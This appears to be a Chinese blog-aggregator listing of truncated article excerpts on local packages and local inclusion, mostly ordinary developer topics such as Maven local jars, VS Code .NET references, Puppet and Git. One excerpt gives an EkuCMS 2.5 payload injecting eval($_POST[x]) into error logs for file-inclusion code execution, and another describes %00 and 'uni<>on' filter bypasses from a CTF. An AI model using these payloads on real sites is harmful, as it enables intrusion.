本文主要介绍怎样通过Visual Studio Code为.Net Core 2.0的项目添加本地类库引用 ...
分类:
Web程序 时间:
2017-12-23 23:01:32
阅读次数:
946
测试版本:易酷cms2.5 包含一句话:http://localhost/ekucms2.5/?s=my/show/id/{~eval($_POST[x])} 会在网站的/temp/Logs/目录下生成一个错误日志,命名规则为年_月_日 错误日志内容 包含错误日志,地址:http://localho ...
分类:
系统相关 时间:
2017-12-02 17:41:25
阅读次数:
192
网站漏洞扫描工具Uniscan 网站漏洞的种类有很多种,如何快速扫描寻找漏洞,是渗透测试人员面临的一个棘手问题。Uniscan是Kali Linux预先安装的一个网站漏洞扫描工具。该工具可以针对单一、批量、dork类型目标进行扫描。同时,它支持多种漏洞扫描,如敏感文件、敏感目录、XSS、盲注、本地包 ...
分类:
Web程序 时间:
2017-10-30 14:41:02
阅读次数:
141
package资源package资源可以借助本地包管理系统帮我们安装软件,也可以通过参数指定软件包来安装.package{‘resourcetitle‘:
provider=>#(namevar)Thespecificbackendtouseforthis`package...
name=>#(namevar)Thepackagename.Thisisthenamethatthe...
ensure=>#Whatsta..
分类:
其他好文 时间:
2017-10-17 20:00:00
阅读次数:
234
sql注入: 粗略看起来是过滤了所有关键词,但是我们可以%00截断绕过,这是其一。 xss过滤了我们输入的标签,那么我们就可以输入uni<>on之类的绕过,这是其二。 本地包含: <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "v ...
分类:
Web程序 时间:
2017-10-03 20:37:33
阅读次数:
294
nginx lua模块淘宝开发的nginx第三方模块,它能将lua语言嵌入到nginx配置中,从而使用lua就极大增强了nginx的能力.nginx以高并发而知名,lua脚本轻便,两者的搭配堪称完美. 用途:防止sql注入,本地包含,部分溢出,fuzzing测试,xss,SSRF等web攻击 防止s ...
分类:
其他好文 时间:
2017-09-04 14:49:01
阅读次数:
244
在Maven项目中使用本地jar包有如下几种方法: 1、使用system scope system scope引入的包,在使用jar-with-dependencies打包时将不会被包含,可以使用resources将本地包打进jar-with-dependencies 生成的xxx-jar-with ...
分类:
编程语言 时间:
2017-08-25 00:02:29
阅读次数:
224
转载博客:http://quicker.iteye.com/blog/2319947 有关MAVEN仓库的理解参见:http://blog.csdn.net/wanghantong/article/details/36427433 MAVEN依赖关系中Scope的作用 Java代码 Dependen ...
分类:
编程语言 时间:
2017-08-18 11:20:24
阅读次数:
190
从源代码开始安装 从源代码开始安装 从源代码开始安装 从源代码开始安装 Linux 如果你用的是Linux,你可以用你的本地包管理系统(native package management system)来安装. $ yum install git-core #译者注,在redhat等系统下用yum ...
分类:
其他好文 时间:
2017-07-26 13:35:06
阅读次数:
126
事实上这个工具我已经用过非常多年了,还叫Ethereal的时候就在用。今天因为实验须要,要抓一下在localhost间的包,结果发现获取不到。解决方法也非常easy,在cmd下输入: route add 192.168.X.X mask 255.255.255.255 192.168.X.1 met ...
分类:
其他好文 时间:
2017-06-24 15:25:53
阅读次数:
153